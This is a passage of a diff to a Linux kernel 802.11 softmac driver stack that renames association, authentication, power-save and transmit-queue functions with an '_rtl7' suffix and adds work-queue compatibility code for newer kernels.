ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; 